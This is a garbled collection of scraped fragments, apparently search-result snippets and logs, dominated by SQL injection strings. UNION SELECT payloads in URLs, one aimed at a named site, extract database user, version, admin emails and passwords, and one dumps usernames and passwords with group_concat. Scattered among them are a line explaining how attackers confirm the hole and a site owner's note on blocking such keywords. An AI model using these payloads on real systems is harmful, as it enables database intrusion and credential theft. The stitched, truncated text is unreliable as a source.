sql - Union to handle NULL values - Stack Overflow ... count(*),concat((select ( select concat(0x7e,0x27,Hex(cast(user() as char)),0x27
http://www.itamed.com/mcms/itamedt/content.cfm?pulldata=scmsmembers.cfm&function=members&perform=memberappita&entity_id=11+limit+0+UNION+SELECT+1,2,concat_ws(0x3a,user(),version
If field is not sanitized, and only if the number of the columns used in the UNION SELECT match with the columns of the query, most likely will appear the string 91351456272.9 somewhere in the page. That will be the confirmed for the attacker of a vulnerability in the page.
-999.9+union+all+select+%27R3DM0V3_hvj_injection',null%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL
...site.net/lt/y.php?t=999999.9'+union+all+select+0x31303235343830303536,(select+concat(0x7e,0x27,unhex(Hex(cast(a_admin.email+as+char))),0x5e,unhex(Hex(cast(a_admin.password+as+char))),0x5e
On my site, for instance, it's entirely safe to fail any request with the string 'concat' or %20union' or 'information_schema'. Indeed, I can even ban any IP that so much as bothers to attempt a request including such strings.
The used SELECT statement, referer: http://site.com/index.php?page=shop.browse&category_id=25&option...
На сайте искали: zs070be3007b3h6tt | 999999.9'+unio n+all+sel ect+0x393133353134353632312e39,0x393133353134353632322e39+and+'0'='0 | мешок | +bocoin+q670 | %ef%f0%e5%f1%f2%e8%e6%e8%ee+5300 | apple%206 | ����.
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.